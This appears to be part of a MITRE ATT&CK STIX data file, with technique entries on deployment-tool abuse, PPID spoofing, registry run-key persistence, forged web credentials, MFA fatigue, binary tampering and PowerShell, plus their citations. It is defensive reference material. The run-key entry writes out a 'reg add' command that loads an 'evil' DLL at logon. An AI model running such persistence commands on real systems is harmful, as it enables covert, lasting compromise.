                    "url": "https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan"
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            "modified": "2026-05-12T15:12:00.705Z",
            "name": "Software Deployment Tools",
            "description": "Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager.  \n\nAccess to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nSaaS-based configuration management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Entra ID.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001) to communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan)\n\nNetwork infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality.",
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "T1041"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "modified": "2026-05-12T15:12:00.706Z",
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            "created": "2020-02-18T18:22:41.448Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1134/004",
                    "external_id": "T1134.004"
                },
                {
                    "source_name": "XPNSec PPID Nov 2017",
                    "description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.",
                    "url": "https://blog.xpnsec.com/becoming-system/"
                },
                {
                    "source_name": "CounterCept PPID Spoofing Dec 2018",
                    "description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.",
                    "url": "https://web.archive.org/web/20200726110643/https://blog.f-secure.com/detecting-parent-pid-spoofing/"
                },
                {
                    "source_name": "Microsoft UAC Nov 2018",
                    "description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.",
                    "url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works"
                },
                {
                    "source_name": "DidierStevens SelectMyParent Nov 2009",
                    "description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.",
                    "url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/"
                },
                {
                    "source_name": "CTD PPID Spoofing Macro Mar 2019",
                    "description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019.",
                    "url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2026-05-12T15:12:00.706Z",
            "name": "Parent PID Spoofing",
            "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)",
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            "type": "attack-pattern",
            "id": "attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23",
            "created": "2020-10-02T16:27:02.339Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1591",
                    "external_id": "T1591"
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                {
                    "source_name": "ThreatPost Broadvoice Leak",
                    "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
                    "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
                },
                {
                    "source_name": "SEC EDGAR Search",
                    "description": "U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved November 17, 2024.",
                    "url": "https://www.sec.gov/edgar/search/"
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            "modified": "2026-05-12T15:12:00.706Z",
            "name": "Gather Victim Org Information",
            "description": "Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
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                {
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                    "phase_name": "reconnaissance"
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        {
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            "id": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
            "created": "2017-05-31T21:30:49.988Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1060",
                    "external_id": "T1060"
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                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/270.html",
                    "external_id": "CAPEC-270"
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                    "source_name": "Microsoft Run Key",
                    "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/aa376977"
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                {
                    "source_name": "Microsoft RunOnceEx APR 2018",
                    "description": "Microsoft. (2018, August 20). Description of the RunOnceEx Registry Key. Retrieved June 29, 2018.",
                    "url": "https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key"
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                {
                    "source_name": "Oddvar Moe RunOnceEx Mar 2018",
                    "description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.",
                    "url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/"
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                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
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            "name": "Registry Run Keys / Startup Folder",
            "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in.\n\nThe startup folder path for the current user is:\n* <code>C:\\Users\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup</code>\nThe startup folder path for all users is:\n* <code>C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp</code>\n\nThe following run keys are created by default on Windows systems:\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n\nThe <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: <code>reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n\nThe following Registry keys can control automatic startup of services during boot:\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit</code> and <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell</code> subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
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            "type": "attack-pattern",
            "id": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c",
            "created": "2020-12-17T02:13:46.247Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1606",
                    "external_id": "T1606"
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                {
                    "source_name": "AWS Temporary Security Credentials",
                    "description": "AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022.",
                    "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html"
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                {
                    "source_name": "Unit 42 Mac Crypto Cookies January 2019",
                    "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"
                },
                {
                    "source_name": "GitHub AWS-ADFS-Credential-Generator",
                    "description": "Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved September 27, 2024.",
                    "url": "https://github.com/pvanbuijtene/aws-adfs-credential-generator"
                },
                {
                    "source_name": "Microsoft SolarWinds Customer Guidance",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
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                {
                    "source_name": "Pass The Cookie",
                    "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
                    "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html"
                },
                {
                    "source_name": "Zimbra Preauth",
                    "description": "Zimbra. (2023, March 16). Preauth. Retrieved May 31, 2023.",
                    "url": "https://wiki.zimbra.com/wiki/Preauth"
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            "name": "Forge Web Credentials",
            "description": "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nThe generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.(Citation: AWS Temporary Security Credentials)(Citation: Zimbra Preauth)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)  ",
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                    "phase_name": "credential-access"
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            "x_mitre_deprecated": false,
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            "id": "attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493",
            "created": "2022-04-01T02:15:49.754Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1621",
                    "external_id": "T1621"
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                {
                    "source_name": "Russian 2FA Push Annoyance - Cimpanu",
                    "description": "Catalin Cimpanu. (2021, December 9). Russian hackers bypass 2FA by annoying victims with repeated push notifications. Retrieved March 31, 2022.",
                    "url": "https://therecord.media/russian-hackers-bypass-2fa-by-annoying-victims-with-repeated-push-notifications/"
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                {
                    "source_name": "MFA Fatigue Attacks - PortSwigger",
                    "description": "Jessica Haworth. (2022, February 16). MFA fatigue attacks: Users tricked into allowing device access due to overload of push notifications. Retrieved March 31, 2022.",
                    "url": "https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access-due-to-overload-of-push-notifications"
                },
                {
                    "source_name": "Suspected Russian Activity Targeting Government and Business Entities Around the Globe",
                    "description": "Luke Jenkins, Sarah Hawley, Parnian Najafi, Doug Bienstock. (2021, December 6). Suspected Russian Activity Targeting Government and Business Entities Around the Globe. Retrieved April 15, 2022.",
                    "url": "https://www.mandiant.com/resources/russian-targeting-gov-business"
                },
                {
                    "source_name": "Obsidian SSPR Abuse 2023",
                    "description": "Noah Corradin and Shuyang Wang. (2023, August 1). Behind The Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved March 28, 2024.",
                    "url": "https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/"
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            "modified": "2025-10-24T17:49:07.399Z",
            "name": "Multi-Factor Authentication Request Generation",
            "description": "Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.\n\nAdversaries in possession of credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. If adversaries lack credentials to victim accounts, they may also abuse automatic push notification generation when this option is configured for self-service password reset (SSPR).(Citation: Obsidian SSPR Abuse 2023)\n\nIn some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to \u201cMFA fatigue.\u201d(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)",
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            "type": "attack-pattern",
            "id": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5",
            "created": "2020-02-11T18:18:34.279Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1554",
                    "external_id": "T1554"
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                {
                    "source_name": "Google Cloud Mandiant UNC3886 2024",
                    "description": " Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations"
                },
                {
                    "source_name": "Unit42 Banking Trojans Hooking 2022",
                    "description": "Or Chechik. (2022, October 31). Banking Trojan Techniques: How Financially Motivated Malware Became Infrastructure. Retrieved September 27, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/banking-trojan-techniques/#post-125550-_rm3d6xxbk52n"
                },
                {
                    "source_name": "ESET FontOnLake Analysis 2021",
                    "description": "Vladislav Hr\u010dka. (2021, January 1). FontOnLake. Retrieved September 27, 2023.",
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            "name": "Compromise Host Software Binary",
            "description": "Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.\n\nAdversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., [Modify Authentication Process](https://attack.mitre.org/techniques/T1556)).(Citation: Google Cloud Mandiant UNC3886 2024)\n\nAn adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary\u2019s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)\n\nAfter modifying a binary, an adversary may attempt to impair defenses by preventing it from updating (e.g., via the `yum-versionlock` command or `versionlock.list` file in Linux systems that use the yum package manager).(Citation: Google Cloud Mandiant UNC3886 2024)",
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            "x_mitre_version": "2.2"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--9664ad0e-789e-40ac-82e2-d7b17fbe8fb3",
            "created": "2023-03-14T14:38:03.673Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1552/008",
                    "external_id": "T1552.008"
                },
                {
                    "source_name": "Slack Security Risks",
                    "description": "Michael Osakwe. (2020, November 18). 4 SaaS and Slack Security Risks to Consider. Retrieved March 17, 2023.",
                    "url": "https://www.nightfall.ai/blog/saas-slack-security-risks-2020"
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            "modified": "2025-04-15T21:56:22.979Z",
            "name": "Chat Messages",
            "description": "Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.\n\nRather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation (Citation: Slack Security Risks).",
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            "x_mitre_contributors": [
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            "x_mitre_platforms": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "created": "2020-03-09T13:48:55.078Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1059/001",
                    "external_id": "T1059.001"
                },
                {
                    "source_name": "Microsoft PSfromCsharp APR 2014",
                    "description": "Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019.",
                    "url": "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/"
                },
                {
                    "source_name": "SilentBreak Offensive PS Dec 2015",
                    "description": "Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.",
                    "url": "https://web.archive.org/web/20190508170150/https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/"
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                {
                    "source_name": "FireEye PowerShell Logging 2016",
                    "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html"
                },
                {
                    "source_name": "Github PSAttack",
                    "description": "Haight, J. (2016, April 21). PS>Attack. Retrieved September 27, 2024.",
                    "url": "https://github.com/Exploit-install/PSAttack-1"
                },
                {
                    "source_name": "inv_ps_attacks",
                    "description": "Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021.",
                    "url": "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/"
                },
                {
                    "source_name": "Malware Archaeology PowerShell Cheat Sheet",
                    "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
                    "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"
                },
                {
                    "source_name": "TechNet PowerShell",
                    "description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.",
                    "url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx"
                },
                {
                    "source_name": "Sixdub PowerPick Jan 2016",
                    "description": "Warner, J.. (2015, January 6). Inexorable PowerShell \u2013 A Red Teamer\u2019s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.",
                    "url": "https://web.archive.org/web/20160327101330/http://www.sixdub.net/?p=367"
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            "description": "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the <code>Start-Process</code> cmdlet which can be used to run an executable and the <code>Invoke-Command</code> cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363),  [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the <code>powershell.exe</code> binary through interfaces to PowerShell's underlying <code>System.Management.Automation</code> assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)",
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            "x_mitre_contributors": [
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                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/132.html",
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            "description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.",
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            "x_mitre_contributors": [
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            "created": "2020-01-24T13:40:47.282Z",
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                    "url": "https://attack.mitre.org/techniques/T1546/001",
                    "external_id": "T1546.001"
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                    "source_name": "Microsoft Change Default Programs",
                    "description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.",
                    "url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs"
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                    "source_name": "Microsoft File Handlers",
                    "description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved September 12, 2024.",
                    "url": "https://learn.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2015/extensibility/specifying-file-handlers-for-file-name-extensions?view=vs-2015"
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                    "source_name": "Microsoft Assoc Oct 2017",
                    "description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.",
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                {
                    "source_name": "TrendMicro TROJ-FAKEAV OCT 2012",
                    "description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd"
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            "name": "Change Default File Association",
            "description": "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command</code>. For example: \n\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)",
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            "x_mitre_deprecated": false,
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            "created": "2020-01-14T01:35:00.781Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1055/014",
                    "external_id": "T1055.014"
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                {
                    "source_name": "Backtrace VDSO",
                    "description": "backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210205211142/https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/"
                },
                {
                    "source_name": "Syscall 2014",
                    "description": "Drysdale, D. (2014, July 16). Anatomy of a system call, part 2. Retrieved June 16, 2020.",
                    "url": "https://lwn.net/Articles/604515/"
                },
                {
                    "source_name": "ELF Injection May 2009",
                    "description": "O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved March 15, 2020.",
                    "url": "https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html"
                },
                {
                    "source_name": "VDSO Aug 2005",
                    "description": "Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved June 16, 2020.",
                    "url": "https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/"
